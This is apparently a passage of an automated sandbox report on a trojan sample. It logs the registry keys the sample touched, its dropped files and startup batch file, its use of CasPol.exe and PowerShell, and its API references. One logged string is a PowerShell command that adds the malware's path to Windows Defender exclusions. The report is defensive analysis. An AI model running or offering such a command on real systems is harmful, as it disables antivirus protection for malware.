"HKCU\WOW6432NODE\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "fc064.Trojan.exe" touched "This Device" (Path: "HKCU\WOW6432NODE\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "fc064.Trojan.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\WOW6432NODE\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "fc064.Trojan.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\WOW6432NODE\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "fc064.Trojan.exe" touched "CLSID_SearchHome" (Path: "HKCU\WOW6432NODE\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "fc064.Trojan.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "fc064.Trojan.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "fc064.Trojan.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\WOW6432NODE\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "fc064.Trojan.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "fc064.Trojan.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "fc064.Trojan.exe" touched "StreamBackedFolder" (Path: "HKCU\WOW6432NODE\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "fc064.Trojan.exe" touched "Computers and Devices" (Path: "HKCU\WOW6432NODE\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "fc064.Trojan.exe" touched "Removable Drives" (Path: "HKCU\WOW6432NODE\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER") "fc064.Trojan.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "fc064.Trojan.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") "fc064.Trojan.exe" touched "ExecuteAssociation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1649D1CF-DEAF-4A68-ABE8-5C9F68572FD1}\INPROCSERVER32") "fc064.Trojan.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "fc064.Trojan.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "fc064.Trojan.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "fc064.Trojan.exe" touched "Start Menu Cache" (Path: "HKCU\WOW6432NODE\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "fc064.Trojan.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "fc064.Trojan.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "CasPol.exe" touched "Known Folder Manager" (Path: "HKCU\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS") "CasPol.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "OneDriveStandaloneUpdater.exe" touched "Background Intelligent Transfer Control Class 3.0" (Path: "HKCU\CLSID\{659CDEA7-489E-11D9-A9CD-000D56965251}") "OneDriveStandaloneUpdater.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{5CE34C0D-0DC9-4C1F-897C-DAA1B78CEE7C}") "OneDriveStandaloneUpdater.exe" touched "psfactorybuffer" (Path: "HKCU\CLSID\{F1BD1079-9F01-4BDC-8036-F09B70095066}\TREATAS") "OneDriveStandaloneUpdater.exe" touched "CLSCLocalSyncClient Class" (Path: "HKCU\CLSID\{14286318-B6CF-49A1-81FC-D74AD94902F9}\LOCALSERVER32") "OneDriveStandaloneUpdater.exe" touched "Microsoft Word Application" (Path: "HKCU\CLSID\{000209FF-0000-0000-C000-000000000046}\LOCALSERVER32") "OneDriveStandaloneUpdater.exe" touched "Free Threaded XML DOM Document 6.0" (Path: "HKCU\CLSID\{88D96A06-F192-11D4-A65F-0040963251E5}\TREATAS") "OneDriveStandaloneUpdater.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\TREATAS") "OneDriveStandaloneUpdater.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\TREATAS") "OneDriveStandaloneUpdater.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE")52:T664,"fc064.Trojan.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "OneDriveStandaloneUpdater.exe.bin" file has an entrypoint instructions - "sub rsp, 0x28,call 0x1400363a8,add rsp, 0x28,jmp 0x140035b5c,int3 ,int3 ,and dword ptr [rip + 0x396ee1], 0,ret ,mov qword ptr [rsp + 8], rbx,push rbp,lea rbp, [rsp - 0x4c0],sub rsp, 0x5c0,mov ebx, ecx,mov ecx, 0x17,call qword ptr [rip + 0x2a77b2],test eax, eax,je 0x140035d16,mov ecx, ebx,int 0x29,mov ecx, 3,call 0x140035ce4,xor edx, edx,lea rcx, [rbp - 0x10],mov r8d, 0x4d0,call 0x140037430,"53:T6c9,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" [Source: 00000000-00007512-00000C95-46784225] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" [Source: 00000000-00007512-00000C95-46787788] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" [Source: 00000000-00007512-00000C95-46821243] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\jsc.exe" [Source: 00000000-00007512-00000C95-46826439] Observed system executable string:"%WINDIR%\SYSWOW64\calc.exe" [Source: 00000000-00007512-00000C95-46830766] Observed system executable string:"%WINDIR%\SYSWOW64\ping.exe" [Source: 00000000-00007512-00000C95-46834848] Observed system executable string:"%WINDIR%\SYSWOW64\cmd.exe" [Source: 00000000-00007512-00000C95-46838973] Observed system executable string:"%WINDIR%\SYSWOW64\notepad.exe" [Source: 00000000-00007512-00000C95-46842908] Observed system executable string:"%WINDIR%\SYSWOW64\mspaint.exe" [Source: 00000000-00007512-00000C95-46846885] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00007512-00000C41-16095897626] Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\fc064.Trojan.exe" -Force" [Source: 00000000-00007512-00000C41-16095897626] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\conhost.exe" [Source: 00000000-00000848-00000BC0-46820321] Observed system executable string:"%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00000848-00000BC0-52078448]54:T7ab,"fc064.Trojan.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\USER PROFILE"; Key: "LANGUAGES") "fc064.Trojan.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\GEO"; Key: "NAME") "fc064.Trojan.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "fc064.Trojan.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "fc064.Trojan.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "fc064.Trojan.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "KO-KR") "fc064.Trojan.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "KO-KR") "fc064.Trojan.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ZH-HK") "fc064.Trojan.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ZH-HK") "fc064.Trojan.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ZH-CN") "fc064.Trojan.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ZH-CN") "fc064.Trojan.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "JA-JP") "fc064.Trojan.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "JA-JP") "fc064.Trojan.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "fc064.Trojan.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "CasPol.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "CasPol.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "CasPol.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US")55:Tf18,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00007512-00000C25-40607515] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00007512-00000C25-40885808] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00007512-00000C25-40957305] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007512-00000C25-40993246] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\8d55d7cad944a3f21aeb1db491f3d6de\mscorlib.ni.dll" [Source: 00000000-00007512-00000C25-41064340] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00007512-00000C25-41078581] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007512-00000C25-41152520] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00007512-00000C25-41192718] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" [Source: 00000000-00007512-00000C25-41218331] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\10e5a0803d11b8b826dbeb56a1f98239\System.ni.dll" [Source: 00000000-00007512-00000C25-41288354] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" [Source: 00000000-00007512-00000C25-41460797] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\53fcc36b6b7c9cc86e5d7484c1f93bd8\System.Core.ni.dll" [Source: 00000000-00007512-00000C25-41533248] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\e4e680611f69d26d704e61dd8bfa4ece\System.Configuration.ni.dll" [Source: 00000000-00007512-00000C25-41547736] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\638ba173c955ab83f37edbab9b896f44\System.Xml.ni.dll" [Source: 00000000-00007512-00000C25-41583347] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00007512-00000C25-41842227] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00007512-00000C25-42915939] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00007512-00000C25-42927575] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00007512-00000C25-42939415] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00007512-00000C25-43335410] Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00007512-00000C25-43600257] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00007512-00000C25-43688413] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00007512-00000C25-43886258] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\ntdll.dll" [Source: 00000000-00007512-00000C25-46957692] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00000848-00000C25-49028923] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00000848-00000C25-49246838]56:T4ba,Found reference to API "CreateServiceW" (Indicator: "CreateService"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "RegisterServiceCtrlHandlerW" (Indicator: "RegisterServiceCtrlHandler"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp")57:T91b,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp, 00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D6088000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF712000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.0AC65000.00000002.mdmp, 00000000-00004560.00000000.81027.0B051000.00000002.mdmp, 00000000-00004560.00000000.81027.0CEC5000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "__vcrt_LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004560.00000000.81027.0B051000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E83D4000.00000002.mdmp")58:Td22,"OneDriveStandaloneUpdater.exe.bin" has type "PE32+ executable (GUI) x86-64 for MS Windows"- [targetUID: N/A] "ulImFUNfOTHxdehioewSpyfq.exe" has type "HTML document UTF-8 Unicode text with very long lines"- Location: [%USERPROFILE%\Pictures\ulImFUNfOTHxdehioewSpyfq.exe]- [targetUID: 00000000-00006536] "Tys1A52zTlctamcA06ftqt53.bat" has type "ASCII text with no line terminators"- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Tys1A52zTlctamcA06ftqt53.bat]- [targetUID: 00000000-00006536] "__PSScriptPolicyTest_mlzlkved.rpg.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_mlzlkved.rpg.ps1]- [targetUID: 00000000-00000848] "PreSignInSettingsConfig.json" has type "JSON data"- Location: [%LOCALAPPDATA%\Microsoft\OneDrive\StandaloneUpdater\PreSignInSettingsConfig.json]- [targetUID: 00000000-00007708] "StandaloneUpdater-2023-11-07.1753.1464.1.aodl" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\OneDrive\logs\Common\StandaloneUpdater-2023-11-07.1753.1464.1.aodl]- [targetUID: 00000000-00001464] "microsoftNucleusTelemetryCache.otc" has type "SQLite 3.x database user version 1 last written using SQLite version 3023002"- [targetUID: N/A] "StandaloneUpdater-2023-11-07.1755.7708.1.aodl" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\OneDrive\logs\Common\StandaloneUpdater-2023-11-07.1755.7708.1.aodl]- [targetUID: 00000000-00007708] "microsoftNucleusTelemetryCache.otc-wal" has type "SQLite Write-Ahead Log version 3007000"- [targetUID: N/A] "Microsoft.ListSync.Settings.db" has type "SQLite 3.x database last written using SQLite version 3035005"- [targetUID: N/A] "StandaloneUpdate_2023-11-07_175523_7708-8236.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\OneDrive\setup\logs\StandaloneUpdate_2023-11-07_175523_7708-8236.log]- [targetUID: 00000000-00007708] "StandaloneUpdate_2023-11-07_175313_1464-8184.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\OneDrive\setup\logs\StandaloneUpdate_2023-11-07_175313_1464-8184.log]- [targetUID: 00000000-00001464] "Microsoft.ListSync.Settings.db-journal" has type "SQLite Rollback Journal"- [targetUID: N/A] "Update.xml" has type "XML 1.0 document UTF-8 Unicode (with BOM) text with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\OneDrive\StandaloneUpdater\Update.xml]- [targetUID: 00000000-00007708] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00000848] "ECSConfig.json" has type "JSON data"- Location: [%LOCALAPPDATA%\Microsoft\OneDrive\StandaloneUpdater\ECSConfig.json]- [targetUID: 00000000-00007708] "wctBFCF.tmp" has type "JSON data"- Location: [%TEMP%\wctBFCF.tmp]- [targetUID: 00000000-00001464] ".ses" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "telemetry-dll-ramp-value.txt" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "64iamMVidhTG4Hi6SFZ61aqP.exe" has type "HTML document UTF-8 Unicode text with very long lines"- Location: [%LOCALAPPDATA%\64iamMVidhTG4Hi6SFZ61aqP.exe]- [targetUID: 00000000-00006536] "wct3388.tmp" has type "JSON data"- Location: [%TEMP%\wct3388.tmp]- [targetUID: 00000000-00007708] "__PSScriptPolicyTest_v0cc2zrf.grx.psm1" has type "ASCII text with no line terminators"- [targetUID: N/A]59:Td85,"fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION\CUSTOMATTRIBUTES"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\DIAGNOSIS"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY\CUSTOMATTRIBUTES"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\TREATASCLASSINDEX\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX\{0000032A-0000-0000-C000-000000000046}"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\TREATASCLASSINDEX\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\CLASSINDEX\{00000339-0000-0000-C000-000000000046}"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\INTERFACE\{8645456F-D9A2-4B82-AFEC-58F0E8DF0ACF}"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\INTERFACE\{8645456F-D9A2-4B82-AFEC-58F0E8DF0ACF}"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\INTERFACE\{8645456F-D9A2-4B82-AFEC-58F0E8DF0ACF}\PROXYSTUBCLSID32"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\INTERFACE\{8645456F-D9A2-4B82-AFEC-58F0E8DF0ACF}\PROXYSTUBCLSID32"; Key: ""; Value: "")5a:T475,"fc064.Trojan.exe" queries basic process information of the "C:\fc064.Trojan.exe" (UID: 7512) "fc064.Trojan.exe" queries basic process information of the "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (UID: 7512) "fc064.Trojan.exe" queries basic process information of the "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" (UID: 7512) "powershell.exe" queries basic process information of the "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (UID: 848) "CasPol.exe" queries basic process information of the "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" (UID: 6536) "OneDriveStandaloneUpdater.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe" (UID: 1464) "OneDriveStandaloneUpdater.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe" (UID: 7708) "OneDriveStandaloneUpdater.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Microsoft\OneDrive\23.209.1008.0002\Microsoft.SharePoint.exe" (UID: 7708)5b:Tfc8,"fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATIONTYPE"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: 